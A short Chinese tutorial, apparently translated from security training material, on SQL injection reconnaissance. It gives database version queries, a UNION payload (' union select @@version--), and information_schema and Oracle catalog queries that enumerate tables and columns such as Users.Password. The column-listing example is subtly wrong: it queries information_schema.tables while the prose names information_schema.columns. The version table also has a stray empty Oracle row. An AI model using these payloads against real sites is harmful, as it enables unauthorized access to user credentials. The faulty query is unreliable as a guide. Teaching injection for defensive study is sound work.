SQL注入攻击中检查数据库
在利用SQL 注入漏洞时,通常需要收集有关数据库本身的一些信息。这包括数据库软件的类型和版本,以及数据库中包含的表和列的内容。
一、查询数据库类型和版本
不同的数据库提供了不同的查询版本的方法。需要尝试不同的查询以找到一个有效的查询,从而确定数据库软件的类型和版本。
确定一些流行数据库类型的数据库版本的查询如下:
数据库类型 | Query |
微软、MySQL | SELECT @@version |
甲骨文 | SELECT * FROM v$version |
PostgreSQL | SELECT version() |
Oracle |
|
例如,可以将攻击与以下输入一起使用:UNION
' union select @@version--
二、列出数据库的内容
大多数数据库类型(Oracle 除外)都有一组称为信息模式的视图,它提供有关数据库的信息。
可以查询information_schema.tables
以列出数据库中的表:
select * from information_schema.tables
这将返回如下输出:
TABLE_CATALOG | TABLE_SCHEMA | TABLE_NAME | TABLE_TYPE |
MyDatabase | dbo | Products | BASE TABLE |
MyDatabase | dbo | Users | BASE TABLE |
MyDatabase | dbo | Feedback | BASE TABLE |
然后,您可以查询information_schema.columns
以列出各个表中的列:
select * from information_schema.tables where table_name = 'Users'
这将返回如下输出:
TABLE_CATALOG | TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME | DATA_TYPE |
MyDatabase | dbo | Users | UserId | int |
MyDatabase | dbo | Users | Username | varchar |
MyDatabase | dbo | Users | Password | varchar |
此输出显示指定表中的列以及每列的数据类型。
三、Oracle上的信息模式
在 Oracle 上,您可以通过略有不同的查询获取相同的信息。
可以通过查询下列方式列出表:all_tables
select * from all_tables
可以通过查询下列内容列出列:all_tab_columns
select * from all_tab_columns where table_name = 'USERS'